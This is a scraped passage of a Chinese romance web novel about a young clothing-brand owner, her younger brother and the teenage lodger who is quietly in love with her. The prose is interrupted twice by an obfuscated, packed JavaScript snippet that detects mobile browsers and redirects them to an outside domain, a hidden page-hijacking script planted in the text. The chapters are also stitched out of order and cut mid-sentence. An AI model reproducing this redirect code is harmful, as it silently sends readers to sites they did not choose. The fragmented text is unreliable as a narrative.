谈小白“嗷”地一声窜到绪东阳身后,死死拽住他校服下摆,只露出半个脑袋:“绪东阳救我!我姐家暴!” “姐,你太伤我心了!我这次真考好了!” “我信你个鬼!” “请苍天!辨忠良!” 谈丹青举着扫帚逼近,绪东阳顿时成了人形盾牌。他想侧身避开,却被谈小白揪着衣服左挡右挡。三人像在跳诡异的探戈,直到谈丹青的拖鞋不小心踩在他的球鞋上。 “绪东阳,你到边上去,”谈丹青终于停下,扫帚杆“咚”地拄在地上,一缕碎发粘在唇角,说:“你边上去,不然打到你,可不要怪我。” “绪东阳,你不要让!” 就在争执不休时,绪东阳开口说:“谈小白这次考了年级前300。” “嗯?”谈丹青压根不相信自己耳朵。她眨了眨眼,突然左脚绊右脚地往前踉跄了一步。绪东阳下意识伸手去扶,正好接住她歪倒的身子。 谈小白? 前300? “对!”谈小白终于从绪东阳身后闪了出来,“现在你信了吧!你弟弟我咸鱼翻身!学渣逆袭!!!” "多、多少?"谈丹青抓着绪东阳的小臂站稳,声音都变了调。“前300?真的假的。” “真!比金子还真!”谈小白将成绩单交到谈丹青手里。 谈丹青尖声:“250?!” 谈小白捂耳朵,无奈道:“姐,你能别骂人吗?” “你小子,”谈丹青揪谈小白的耳朵,“我就说,我谈丹青怎么可能有个傻子弟弟。” 谈小白傻乐。 谈丹青看谈小白的成绩单。这么多年了,哪一年她不是被老师啐?瞧瞧,瞧瞧,今年可是个双黄蛋,可算扬眉吐气了。她就说嘛,她谈丹青的弟弟们,能差到哪里去? 绪东阳默默退后半步,垂在身侧的手指微微蜷起,看着这对姐弟闹作一团。 谈丹青眼眸流转,忽然朝一直沉默不语的绪东阳睨去,纤长白皙的手指轻轻叩了叩他垂眸盯着的台面,“绪东阳,你呢?” 绪东阳缓缓抬起了头,“什么?” “就你,”谈丹青好笑道:“你这次考得怎么样?” “绪东阳的实力你还怀疑?年级前十啊!”他卧倒在沙发上打滚,感慨:“哎,明明每天都是吃一口锅煮出来的饭,怎么差别这么大了?” “别妄自菲薄,”谈丹青说:“你这次进步很大,不错。” 她低头仔细看绪东阳的成绩单。 绪东阳每一门都很好。 数学和理科是他强项中的强项。 谈丹青看久了4打头的成绩,乍一看6打头的,还有些没概念。 “绪东阳,你这个成绩,W大H大能不能上?”她问。 “当然能啊。”谈小白接话:“随便挑的。” “那更好的呢?北京的,上海的。”谈丹青说。 “我就想留在W市。”绪东阳看着她说。 谈丹青却发出一声轻笑,说:“这是你现在说的话,等清华北大的录取通知书真来了,就要飞走了。” 今天双喜临门,谈丹青取出钱夹,挥手将谈小白叫过来,说:“今天晚上不做饭了,要好好庆祝一下,你去点外卖,看是吃火锅还是吃牛排。” 谈小白说:“就吃火锅吧,在家吃,也不用叫外卖,我下楼买菜上来。” “行,”谈丹青给了谈小白一张附属卡,说:“把绪东阳带着,多买点牛肉卷和羊肉卷。” “诶,到底谁是你亲弟啊……”谈小白埋怨。 谈丹青故意说:“谁成绩好谁是我亲弟,还不快去。” “嗻。”谈小白一步三跳,和绪东阳一起出门。 一下楼,正撞上了同样牵着小孙儿下楼的邻居大婶。 “哎哟哎哟,”大婶立刻尖声叫了起来,“哪儿冒出来的年轻人啊,吓着我的小宝了。” 大婶怀里的小家伙,非常配合地嗷嗷哭了两嗓子。 谈小白忙将绪东阳拉开,说:“吴婶,这我同学。” “哦,你同学啊,也一中的?成绩好不好啊?”吴婶打听起来。 “好!贼好!” “嚯……那教教我家小宝奥数咯。”吴婶说。 谈小白像捧梗的,笑着说:“您家小宝十根手指头都数不全啊!怎么学奥数?” “哪里的话哟,你家到底几口人啊?次次见着都不一样哦……” 吴婶的声音被留在楼梯上,绪东阳跟着谈小白往超市走,皱眉问:“经常有人这么说吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绪东阳平时话不多,做很多事都是静默无声。她有时候回到家,会看到绪东阳在台灯下刷题的背影——少年弓着的脊背像一张拉满的弓,笔尖在纸上划出的沙沙声,在深夜里清晰得像针掉在地上。 她默认绪东阳和他所表现出来的一样早熟,但其实说起来,他也就是个家里闹矛盾离家出走的小孩儿。他在她这儿住了这么久,他父母甚至都没有问过一声。 “有什么办法吗?”她追问,声音里有不寻常的急切。 何薇说:“像绪东阳这样的尖子生,知识点其实都已经掌握牢固了,所以主要还是个心态问题。心态这个就要看怎么调了。” 对于调整心态,这真涉及到谈丹青的知识盲区。她自己就是个大心脏,主打一个绝不内耗。谈小白和她差不多,成绩吊车尾,天天乐呵呵。所以她真不知道,像绪东阳这样的学神要怎么调整心态。 谈丹青难得上网查起了资料,然后老爷爷看手机一样一行一行学习: “如何调整考生心态?” “家有考生吃什么?” “状元食谱……” 正想着,谈小白和绪东阳提着两大包食材回来。 “开饭开饭!” 小火锅在餐桌中央咕嘟咕嘟冒着泡,红油汤底翻滚着花椒粒,蒸腾的热气模糊了三个人的脸。 谈小白筷子使得像打鼓棒,羊肉片刚变色就被捞走,在蘸料碗里滚一圈就进了嘴,烫得直哈气。 半大小子,吃穷老子。有谈小白和绪东阳两人战斗力果然非凡,买的两大包肉和菜,竟然全都吃完没剩。 吃完后,谈小白下楼倒垃圾,绪东阳在厨房洗碗。谈丹青悄然进去,说:“绪东阳,碗放着吧,让谈小白洗,不用你洗。” “没事,”绪东阳熟练地冲着水,“还剩一个。” “先放着吧,”谈丹青坚持,说:“我有话跟你说。” 绪东阳放下碗,扭头看她。 19. 第 19 章 谈丹青倚着厨房门看他。 她在家时习惯将那头乌黑蓬松的长发松松挽起,留几缕碎发垂在耳际。那几缕发丝随着她的呼吸轻轻晃动,像是水墨画里随意勾勒的笔触,慵懒却不凌乱。 “我刚刚给你们何老师打电话了,问了你的成绩。”她开门见山。 绪东放下碗,水珠顺着指缝滴落进水槽。他抬手取下干净白色抹布,默不作声地缓缓将手上的水擦干。 “她跟我说,你这次退步了。” “有点吧。”绪东阳说。 “怎么回事呢?”她的声音越来越近。不知何时,她已经走到了他的身旁,微微倾身,去拿余下的碗,厨房顶灯在她的睫毛下投出一片鸦羽的阴影。 厨房本就狭窄而拥挤,她耳畔发梢的香味飘了过来,是熟悉的橙子香。 “状态没调整好?想着家里的事?”她继续问道。 洗碗槽里的泡沫正在一个个破裂,绪东阳喉结滚动,“没。” 谈丹青等了好一会儿,只等到绪东阳敷衍的一个“没”。 “行,”她笑笑,说:“你不爱说,那就不说,谁没点不想说的事?那你住在我这儿,有没有什么不适应的?” 绪东阳再次摇头。 “那谈小白呢?他有没有影响到你学习?”谈丹青拧大水龙头,冲着碗面上的食物残渣。 “没。” “谢谢你帮谈小白学习,但别把自己给影响到了。”谈丹青说。 她洗着碗,轻轻叹了口气,说:“你第一次来我家里的时候吧,我对你还不了解,你又打了我弟弟,所以当时我的确对你有很大偏见。但现在,” 她抬头看他,他和她站得太近,能看清她眼底映着的自己的倒影。 “我知道你本性不坏,是个好孩子。你跟谈小白一样大,你在我眼里,你就跟谈小白差不多。所以,你有什么难处,尽可以告诉我。” 这番话已足够让绪东阳胸中烧火,没想到谈丹青将冲洗好的碗放上淋水台后,接着又随口问,“家里给的零花钱够吗?” 话音未落,绪东阳猛地抓上了谈丹青的手腕。 掌心的水渍立刻浸透了她袖口的布料,甚至能感觉到他指尖的颤抖。 谈丹青愣了愣,扭头看他。少年人的眼睛在厨房暖光下亮得惊人。 他胸口剧烈起伏着,像是有什么东西要破膛而出。 “够。”他生硬地截断话头,将碗从她手里抽走,然后拧开水龙头至最大,躬身继续冲洗。 谈丹青瞥向绪东阳洗碗的手,他的手上今天又系了一圈白色绷带。那玩意儿就算是防水款,也不能被水这么冲着,看得她眼皮直跳。 “还有,”她将水流关掉,说:“你的手又是怎么回事?我看你手上总有伤。你们何老师也没跟我说,你在学校打架了。” “我练拳弄的。”绪东阳说,将最后一只碗擦干净放好。 绪东阳房间有几只沙包,谈丹青便信以为真。 她拽住绪东阳上身卫衣的袖管,不由分说将他往客厅推。 谈丹青的力道再大也大不到哪儿去,但绪东阳完全没想到她会突然拽自己,一时不备,被她扯得一个踉跄。 “我还真是服你了,那你就轻点打啊!”谈丹青径直将他按到沙发上坐好,俯身,小心翼翼地解开那圈湿透的绷带。肩上的碎发往下掉,刷在了绪东阳的肩上。 指关节处破皮的伤口被水泡得发白,谈丹青短促地倒抽了口气。 “啪!” 她一巴掌就甩在绪东阳肩上。 这一巴掌下去,两个人同时心惊了一瞬。 巴掌打得很响,脆生生的,屋里甚至能听到回音。 绪东阳意外地看着谈丹青。 她手劲实在不大,很用力地甩过来,打在他身上也就像拍了拍,留着手掌细腻的温度,凭空生出了几分暧.昧。 谈丹青完全是看绪东阳这么自己折腾自己心里冒火,但也没想到这一巴掌会闹出这么大动静。 两人四目相对,都安静了好一会儿。 谈丹青转身从茶几下搬医药箱,她背对着他,漂亮的肩胛骨起伏了一会儿,拿出云南白药、酒精和绷带。 “自己涂药。” * 谈丹青向来赏罚分明,考得差,那就一顿乱棒;但考得好,绝对大大有赏。 她赶了两天功,将一批新款提前上架,腾出了一个周末,带谈小白和绪东阳去城郊玩。 郑芳这天也没事儿,问她去哪儿,听说要去野营,忙说:“一起一起。” “你要带你那小男朋友?”谈丹青问。 “行不行嘛。”郑芳撒娇。 “行,人多热闹,也能多买点烤肉。”谈丹青说:“不过我带着小孩儿,你俩可不许当着他们的面做少儿不宜的事。” “嚯,”郑芳嗤笑,说:“还小孩儿,都多大了啊!说不定他俩玩得比你还花。” “停停停。”谈丹青说:“我亲弟啊,你这叫我怎么面对。” 谈丹青将车停在路口,谈小白和绪东阳两人大包小包在路边等她。谈小白滚上后车厢,绪东阳却没上车,而是绕到了驾驶座这一侧。 谈丹青降下车窗,说:“做什么呢?上车啊。” 绪东阳在车窗外俯身,手肘撑着窗沿,说:“我看距离很远。我开吧。” 谈丹青挑眉,“你有驾照?” 绪东阳说:“我19了。” 绪东阳生日月份早,读书比谈小白早了一年,去年就拿到了驾照。 谈丹青笑了起来,说:“想摸方向盘呢?”这个年龄的男生都喜欢车,抵抗不了能摸方向盘的机会。 绪东阳嘴唇动了动,下颌线绷紧又放松。 他不想摸方向盘,但开车出城至少要一个小时,他不想让谈丹青开这么久。可他如果这么说,谈丹青绝对会让他滚的。 “是。” “行。”谈丹青大方地将车让给他,说:“开慢点。” 她以为绪东阳开车会很冲。没想到他车开得倒是很稳,也没有路怒症。 一连开了一个多小时,到野营地点,郑芳和她的小男朋友也到了。附近还有许多年轻人来春游。 “怎么来这儿啊。到处都好脏,”郑芳的男朋友其实只比绪东阳大一岁,今年二十了,但表现得非常矫情,一直两臂抱在胸前,十指不沾阳春水,用嫌弃的眼神看看这儿,看看那儿。 谈丹青跟绪东阳吐槽过,这回于波一开始抱怨,她就跟绪东阳交换了一个只有一起在背后蛐蛐过人才懂的眼神。 “我喜欢去干净的地方,这里真是脏死了。姐姐,我们怎么不去之前那个五星酒店呢?那里还能游泳,姐姐。”于波喋喋不休。 郑芳说:“这里风景很好呀,可以看看风景。” “嘁。”小男朋友达不成自己的目的,立刻垮下一张臭脸,钻进车里玩手机。 郑芳忙追进去哄他,说:“你要是喜欢在五星酒店度假,我们下次就去,好不好嘛。” 两人一走,谈丹青白眼翻上天,小声跟绪东阳吐槽:“要不是因为郑芳喜欢他,他刚摆脸色的时候,我就叫他滚蛋了。” 绪东阳架上帐篷,他半跪在地上,用锤子将铁钉一点点锤进土里。每一次挥锤,衣袖都会滑落一截,露出线条紧实的小臂。 “郑芳姐喜欢他什么呢?”绪东阳无法理解。 “谁知道呢,”谈丹青说,她在一旁搭把手,给绪东阳递锤子和螺丝刀,“可能他长得好看。” “他属于女生喜欢的长相?” “算吧,挺秀气的。”谈丹青说:“然后还嘴甜,会叫姐姐。” 绪东阳浓眉骤然拧紧,冷淡地说:“男人如果真心喜欢谁,绝对叫不出姐姐。” 最后一个词几乎是从牙缝里挤出来的,带着说不清的执拗。 谈丹青低头抖开防水布,帆布在风中猎猎作响。她正要固定边角,突然手一顿—— “等等……”她慢慢直起腰,眯起的眼睛里闪着危险的光。 “绪东阳,”她微抬下巴瞅着绪东阳,“你叫人家郑芳就叫姐,怎么没听你叫我一声姐啊?” 绪东阳帽檐下的阴影,藏住了他深如黑墨的眼睛。他一言不发,转身去调整帐篷支架,金属杆碰撞出清脆的声响。 “小混球一个。”谈丹青轻声笑骂了一句。绪东阳就是不肯甜滋滋地叫她一声姐,但她其实也习惯了。有的人骨头硬,可能一生都说不了几句软话。 营地里都是年轻人,来的时候谁也不认识谁,但互相借把锤子剪刀,送一盒牛奶饼干,就熟悉了。谈小白更是活宝,他有一种独特的天赋,无论和谁混在一起,聊个四五句,就能成穿一条裤子的好兄弟。 “什么!原来你的内衣品牌就是‘丹心’,别开玩笑好不好?!我现在穿的就是!”聊着聊着,隔壁帐篷的女孩儿突然从折叠椅上弹起来,差点打翻啤酒罐。 “这缘分……”谈丹青笑着喝梅子酒,她也万万没想到,出来玩还能遇到老客户。 他们这边笑闹声此起彼伏,隔着烧烤炉冒出的热烟,谈丹青朝绪东阳望了过去。 绪东阳独自坐在烧烤架前,黑色卫衣的兜帽松松罩在鸭舌帽外。他从不主动和谁说话,但只是站在那儿,很快就吸引了不少目光。 几个女孩推搡着走近,“要不要一起玩桌游?” 绪东阳头也没抬,翻动烤肉夹的手指骨节分明。肉片在铁架上滋滋作响,“不用。”他声音很淡,像在拒绝一杯白开水。 那群女孩便悻悻离开。 这些谈丹青都看在眼里。 她回到他们的营地,将绪东阳手中的烤肉夹抽走,新鲜红艳的肉块在铁板上冒出滋滋油响,迅速边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610475|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘卷曲,“这儿我盯着,你去跟他们一起玩呀。” “不用。”绪东阳说。 谈丹青忍不住端起了姐姐的架子,“别这么内向,要多走出去,多跟人交流。以后你毕业了工作了,免不了的。” 可绪东阳不接话,另又取了一只烤肉架,在她身旁和她一起烤羊肉和猪扒。 谈丹青劝不动他,也只好随他去了。 烤肉想烤得好吃,其实也挺费心。眼睛要一直盯着架子上的肉块,哪一面烤焦了,就要赶快翻过来。绪东阳心细,做事又有耐心,经了他手的烤肉,每块都烤得金黄,一看就叫人食指大动。 谈丹青本想帮着烤,但对比之下,还是别暴殄天物为好。 于是最后演变成,她守在烤肉架旁,绪东阳烤好一块,她就吃一块。 “还想吃什么?”绪东阳问。 “来个牛肋条!”谈丹青兴致勃勃地点餐。 绪东阳将刚烤好的牛肋条夹出来,细心地剪去边缘多余的脂肪。 “好哇好哇!”谈小白玩够了回来,看到这一幕,鼻子都气歪了。他搡了绪东阳一把,抢过烤肉夹,“看清楚这谁姐了吗,你就喂,边上去边上去,我才是我姐最忠实的仆人。” 绪东阳无奈。 谈丹青也哭笑不得。 可惜谈小白的手艺也不如绪东阳,烤坏了几块,被谈丹青发配边疆——剥蒜。 “太香了吧。”郑芳和于波也从帐篷里出来。 “快来吃饭!”谈丹青招呼道,“都是绪东阳烤的。” 于波一整天什么都没做,吃起饭来倒是积极。他还眼尖手快,将谈丹青给郑芳留的牛排全吃了。谈丹青气得都不想再多看他一眼。 吃得差不多,天色也晚了下去,林子起了白雾,树影幢幢,偶尔传来几声不知名的虫鸣。 谈丹青打算去溪边洗个手,但小溪那头人少,谈丹青一个人过去并不安全。绪东阳放下烤肉夹,说:“我跟你一起去。” 谈丹青说:“嗯,你的手也得洗一洗。” 绪东阳的手摸过碳灰,都弄黑了。 通往溪畔的小径隐没在茂密的灌木丛中,月光只能零碎地漏下来,在凹凸不平的土路上投下斑驳的光影。谈丹青的高帮帆布鞋不时陷进松软的泥土里,每一步都走得小心翼翼,深一脚浅一脚。 绪东阳走在她前面,穿黑色卫衣的身影在夜色中忽明忽暗,他刻意放慢的脚步,每走几步,便停下来等她,这么反复几次。等她再次走到他身前时,他开口说:“你拉着我吧。” 谈丹青“啊”了一声,还未反应过来,就见他弯腰从路边拾起一根笔直的树枝。 树皮已经被雨水冲刷得光滑,在月光下泛着温润的光泽。他利落地折去多余的枝杈,将一端递过来。 “拉着这个。” 夜风拂过灌木丛,沙沙作响。谈丹青盯着那截树枝看了两秒,心中不大愿意,但有东西拉着,的确要安全一点。她慢吞吞地抬起手,刻意隔着袖口握住树枝末端,却还是能感受到另一端传来的,沉稳而克制的力道。 这么走,的确轻快了很多。 “你说,这儿会有蛇吗?”谈丹青警惕地观察脚下的草丛。 “不会。”绪东阳说。 “可你怎么知道呢?”谈丹青抬杠,“我觉得有可能。” “野生蛇很贵。”绪东阳解释。 “好吧……”这里如果有野生蛇,早被附近村民捕走了。在这儿碰到野生蛇,和在地上捡到一百块是一样的概念。谈丹青不由也放下心来。 到了小溪边,谈丹青蹲在青苔斑驳的石板上,掬起一捧水拍在脸上。溪水凉飕飕的,很舒服。 她正享受着,却在静谧的夜色里听到了窸窸窣窣的声音,她心头一紧,不会真的有蛇吧。 她紧张地要回头寻那声音的源头,绪东阳突然两手紧紧捂住了她的耳朵。 “别往那边看。”他沉声说。 温热的手掌毫无预兆地覆上她的双耳,他的掌心干燥温暖,瞬间隔绝了所有声响。 谈丹青能感觉到他俯身时胸膛贴着自己后背的温度,还有他骤然加快的呼吸声喷在自己的面颊上。 月光下,两人的影子在溪水中交叠成一团模糊的轮廓。谈丹青僵在原地,视线被迫固定在绪东阳的脸上。 溪水的潺潺、树叶的沙响、远处的篝火噼啪声——所有的声音都在逐渐消弭无踪,她的世界里,最后只剩下绪东阳的一双眼睛。 那双在初升朗月下愈发幽深的眼睛,瞳孔漆黑如墨,像是能吞噬一切光亮的旋涡。 谈丹青不自觉地屏住了呼吸,恍惚间觉得那双眼中有某种她读不懂的情绪在涌动,炙热又克制,像是冰封下的暗流。 一个近乎荒谬的念头,突然在夜色里冒了出来—— 绪东阳该不会是…… 喜欢她? 15-20 15 第15章 ◎你长挺帅的◎ 烤鱼草草吃完,一回家,谈丹青敷了一张面膜, 谈丹青做着公司介绍材料,邮箱突然收到邮件。丁晞珍发来了今天拍摄照片,谈丹青忙点开看。 其实刚拍出来的原图,谈丹青已经觉得很有感觉了。没想到经过丁晞珍的调色和修图,图片可以用震撼两个字来形容。 绪东阳的镜头表现力非常好。 野性满满。 谈丹青定了三张一组,没发公司账号,先在自己用的小号上偷跑一波。 红果绿果小苹果:【悄咪咪放一波预告,马上上新哦!】 谈丹青挂上链接,发出去,就又回头做手头事。她正做得昏天黑地,才发现微信消息已经99+ 工作群已经炸开了锅。 胡小样:【啊啊啊啊啊!!到底发生了什么??怎么就突然爆单了????】 小A:【千转了……】 小B:【还千转,我刚刚看已经五千多了,热度一直升,都爬上低位热搜了。】 胡小样:【接10万加!!接接接!】 小A:【接接接!!】 小B:【冲冲冲!!!】 谈丹青这才如梦初醒地点开小号。 小红点已经到了999+。 这条微博下评论乱飞: 1L:【到底卖什么的?卖模特吗?】 2L:【这是什么宝藏小店啊!!!怎么会每一件都这么好看!!!!我进去逛了一圈,已经下单六件了……】 3L:【呜呜呜呜……我的宝藏小店终于要被大家发现了吗?】 4L:【说到小……模特那里……】 …… 谈小白赖在绪东阳屋打游戏,在别人房间打游戏,总感觉比在自己狗窝里打游戏有手感一些。绪东阳在台灯下安静地做题。忽地谈小白跳了起来,将他锁喉,“快快快,进群进群!我姐在群里发红包呢。” “什么群?”绪东阳问。 “我姐公司的小群。”谈小白说。 绪东阳进了群,就被刷屏了。 【欢迎弟弟!】 【欢迎弟弟!】 【欢迎弟弟!】 【欢迎弟弟!】 【欢迎弟弟!】*20 …… 绪东阳:“……” 后牙槽已经咬得隐隐发酸。 谈丹青在发红包,已经发十个了,每个红包都有小一千,并且还是等额发,对脸黑党简直是菩萨转世。 谈丹青发完郑芳发。郑芳也是十个,每个一千,不过是随机。 “这个只有50,脸太黑了吧。”谈小白乐死。 他见绪东阳不抢,说:“你干嘛呢?快抢啊!” “不用。”绪东阳说,“我只兼职了一天。” 他不想再拿谈丹青的钱。 更不想当“弟弟”。 这个称呼像将他框进了一个被照顾的、被包容的位置,意味着他永远只能站在她的生活边缘做一个旁观者。可他不想停在这里。 “矫情!”谈小白闻言吹胡子瞪眼,说:“我姐特意要我把你拉进群的,兼职怎么了?兼职没干活吗?我姐给大家发钱,你快去领,然后和我们一起说‘老板大气’,给我姐好好提供情绪价值。” 谈小白一把夺过绪东阳手机帮忙领取,结果炸了:“500????你抢的怎么是500???不公平啊!” 抢完红包,绪东阳起身去客厅倒水。 夜已深了,客厅只亮着一盏落地灯。谈丹青蜷在沙发里对着笔记本办公,暖黄的光晕染着她的轮廓。她穿着件宽松的白色睡衣,发丝随意挽在耳后,整个人像是笼在柔光里。 绪东阳停在原地。 "还没睡?"谈丹青闻声抬头,屏幕的蓝光映着她清亮的眼睛,"正好,来看看你的成片。" 家里沙发很小,谈丹青对他的体型完全没概念。这张沙发她和谈小白两个人坐或许刚刚好,但当他坐下,绝对会把她挤到角落。 他朝沙发走去,没坐下,上身倚着布艺扶手。 谈丹青却神情古怪地回头望他,说:“你站着干嘛?” 绪东阳个子实在太高,站在她背后,越过她的肩膀看电脑屏幕,总给她一种被监视的怪异感。 “你坐过来一点呀。”她递扔过去一只粉粉嫩嫩的小花猫咪抱枕,“我都担心你会掉下去。” “嗯。”绪东阳只能从扶手上滑下来,他两腿有意并在一起,没有像平时在学校那样大岔着。 膝盖和谈丹青穿着短裤的发白的腿,只隔一层纸的距离。 她有时候会乱动,一动沙发便跟着往下凹,带着一股热气扑过来。 绪东阳坐下后,谈丹青立刻也意识到沙发太小。 盘在沙发上的膝盖轻轻地撞在绪东阳的大.腿外侧。 但毕竟是她主动提议要他过来,又赶他坐到地上去,实在莫名其妙。她只能有些尴尬地将毛毯往身上掩了掩,和他身上的热气隔开。 丁晞珍今晚一共发来了三批海报,一批九张,一共三十二张,明天会再发来最后一批。 她留言说,最后一个压缩包里存着几组后台花絮。虽然不适合商用,但那些照片太有氛围了,让她舍不得删。 “今天的照片拍得真心不错。”谈丹青看着屏幕,手指哒哒点着鼠标往后翻。 绪东阳扫过屏幕,自己的脸突兀地填满画面。无关相貌,单是这种视角就透着说不出的怪异。 尤其是,还要被谈丹青一直盯着。虽然他知道她其实更关注的地方是女模特穿的内衣。 谈丹青手机震了震,她看了一眼,说:“丁晞珍问你毕业后考不考虑当兼职模特。” “不了。”绪东阳回答。 “行,她也只是问问。”谈丹青说。 “其实,”谈丹青忽地抬头,仔细地盯着他看了一会,说:“你长挺帅的。” 绪东阳的呼吸停滞了一秒。 喉结上下滚动,嘴唇微微分开又合上,最终只挤出一个含糊的“嗯”。 “我是说真的,”她将他和照片上的人进行对比,“这张侧脸特别有轮廓感。你鼻梁很高,男生鼻梁高丑不到哪去。” “真没谈恋爱?” “没。” “有女生追吗?” 绪东阳点了点头。 谈丹青发出一声嗤笑,说:“高冷啊。” “学生时代还是要多谈谈啊,在不影响学习的情况下。”谈丹青像过来人一样,语重心长地说。 “你谈过?”绪东阳问。 “我跟你又不一样。”谈丹青说:“我当时是没条件,不然我肯定大谈特谈。” 绪东阳没说话,盯着谈丹青的侧脸。 她跟他差不多大的时候,会是什么样子?脸上应该有点婴儿肥。 “咦……”谈丹青按下放大键,目不转睛地盯着屏幕,说:“以前怎么没注意到她这款肩带可以再细一点啊,” 她将画面定格在女主的胸衣上,又在笔记本上唰唰画了两笔。一副内衣设计图立刻出现在纸上。 绪东阳不懂设计,他只是直觉谈丹青随手画的这两笔很顺,布料的褶皱感都能表达出来。 “你会速写?”绪东阳有些意外,他一直以为谈丹青没专业学过。 谈丹青立刻笑了起来。她笑的时候,眉眼很弯,给人一种开朗阳光的感觉。 “没,我哪儿有这个条件?都是自己瞎画的。” “画得很好。”绪东阳说,“很像。” 谈丹青受到鼓舞,将笔记本往前翻,“我画了好多,好看吗?” “好看。” 两人头碰头翻着谈丹青的速写本。本子被几百页画稿撑得鼓胀,纸边磨出了毛茬,厚度足有原先两倍。 看了十来页,谈丹青突然将笔记本合上,头一扭,冲他发难:“不给你看了,你就想看女生内衣。” “不是……”绪东阳有口难言。 他想解释自己真不是借机偷看内衣的变态色魔,但一时瓜田李下说不清。正尴尬着,突然发现谈丹青的耳朵红了。 他以为是光线作祟,看花了眼。 可定睛再看——谈丹青的耳尖确实泛着红。 心尖突然被什么轻轻撞了一下。原来她刚才气急败坏地"污蔑"他,不是刻薄,不是戏弄,只是不习惯被人这样直白地夸奖。 “你画得特别好。”他垂眼合上本子,声音里带着和他年龄不相符的耐心,“特别特别好。” 谈丹青才不在乎小屁孩的评价,她撇过头去,嘴角却控制不住地上扬,赶紧用速写本挡住半张脸。 从纸张边缘偷偷瞄他一眼又迅速收回视线,小声嘀咕:“你还有点眼光。” 桌上手机一直震,绪东阳看了一眼,群里人一直在聊天,今晚算是个不眠之夜。爆单10w加,听胡小样说,他们一件利润20,所以即便减去退货率,今晚进账100w是有了。 但群里一直有一个顶着自拍头像,名叫“菠萝”的人在上蹿下跳。他抢红包手气太差,一晚上只抢到了一百,缠着郑芳要她继续发。 绪东阳在心里对了一下人脸,没找到对应的人,便问了一句,“菠萝是谁?” “菠萝?”谈丹青“啊”了一声,说:“是郑芳的男朋友。” “哦。” “是不是特别闹腾,”谈丹青说。女生在这个世界上最看不上的男人,一定是闺蜜的男朋友。她特别不喜欢郑芳身边那些小奶狗。 “他也就比郑芳小几岁,今年都二十多了,老腊肉一条,还仗着自己年纪小,拿乔,”她骂骂咧咧:“总骗郑芳钱,烦死。” “他俩姐弟恋?”绪东阳问。 “对。”谈丹青回答。 “其实,也不是所有年纪小的,都这样。”绪东阳解释。 谈丹青抬头看了他一眼,说:“我没说你。人跟人肯定是不一样的。” 话虽这么说,但绪东阳还是能感觉到谈丹青根深蒂固的偏见。年纪小的男孩性情不定,和姐姐在一起就是图钱。 空气一时凝滞,只有鼠标的轻响在房间里回荡。 "后面都是些花絮了。"谈丹青点开文件夹,第一张照片猝不及防地撞进视线——画面背景里,道具凌乱,人影模糊,她正在开导着绪东阳。 这张图本没什么可值得说到之处,除了绪东阳的那双眼睛。 他正在看她。 不是随意的一瞥,也不是礼貌性的注视,而是一种近乎研究的凝视。 瞳孔微微收缩,睫毛在眼睑下投出细密的阴影。 眼尾的弧度因为专注而显得比平时更加锋利。 带着某种未加掩饰的探究和……她读不懂或者不想去读的情绪。 指尖微不可察地颤了颤,谈丹青下意识就要滑动滚轮。 "这张发我。"绪东阳突然开口。 谈丹青动作一顿,意外道:"你喜欢这张?" "对。"没有解释,也没有多余的话。 谈丹青垂下眼睫,将照片拖进传输窗口:"行,发你了。" * 这一周,谈丹青忙得脚不沾地。发货发货还是发货,她在变富婆的康庄大道上纵马奔腾! 时间捱到周五,谈丹青带着公司资料去mcn见吕力鼎。 吕力鼎说:“你先等五分钟,” “好。”谈丹青在等候室,一遍又一遍将内容熟记于心。 一个多小时后,终于有人来敲门,请她去圆桌会议室。 走进会议室,谈丹青将文件一一放在高管们面前。 “怎么这么点粉丝量还上会?”其中一人翻开第一页,脸色就变了。 吕力鼎忙低声说了一句:“这位是……魏总的女朋友。” “哦……”那人脸色立刻和颜悦色起来,抬抬手说:“那继续吧。” 会议结束,谈丹青觉得自己表现得还不错。 至少前半场大家还在玩手机,后半场愿意看她了。 “谈小姐,后面我们会再联系你。”吕力鼎和她握手,态度有些殷勤。 “好。谢谢。”谈丹青礼貌地应下。 从玻璃大厦出来后,她在车上给魏繁星发了消息。 Tdq:【会议结束了。】 魏繁星:【好,我来接你。】 Tdq:【不用,我开车来的。】 魏繁星:【ok】 他发来一个地址,地点在他们上次见面的X俱乐部。 上次她来X去的是一楼包厢,这次魏繁星叫她上二楼来。她拾阶而上,看到走廊墙面上全是敦煌风的壁画,中式屏风和立灯,是完全不同的格调。 谈丹青推门进去时,刚好里面人台球一局结束,在一旁笑闹,模样都很周正。其中一位桃花眼的,见她进来,立刻扭头唤了一声:“繁星。” 魏繁星正背对着她玩牌,一双修长白净的手拢着牌。听到她进来,说:“你先坐会儿吧。都是朋友。” 场内都是魏繁星的朋友,谈丹青第一次来,有些拘束。她找了一个安静的角落坐下。魏繁星的朋友过来陪他说话,说的内容她也不太懂,大概是金融股票之类,夸赞魏繁星上个月高位套现,风光无二。 “听说谈小姐也是做生意的?做什么生意?”有人问她。 “服装。”谈丹青向来对自己的公司大大方方,但今晚不知怎么,莫名声音矮了一头。 “哦,服装啊。”那人虽有些不屑,但还是说着场面话:“不容易啊!实体经济可不都靠你们。” 谈丹青觉得怪无聊,坐了一会儿就开始玩手机。 意外看到一个多小时前,绪东阳给她发了两条消息,问她晚上回不回来。但当时包厢太吵了,她没有听到。 她莫名其妙地有点想找绪东阳说话。 跟他说话,至少要比在这里听这些人吹牛舒服,登味没那么重。 点开对话框,聊天界面还停留在照片上。她下意识又关掉了。 魏繁星终于打完了一局,起身,贺达接了他的位置,拾起牌面一看,嗤了好大一声:“这么好的牌面,你不打了啊?” 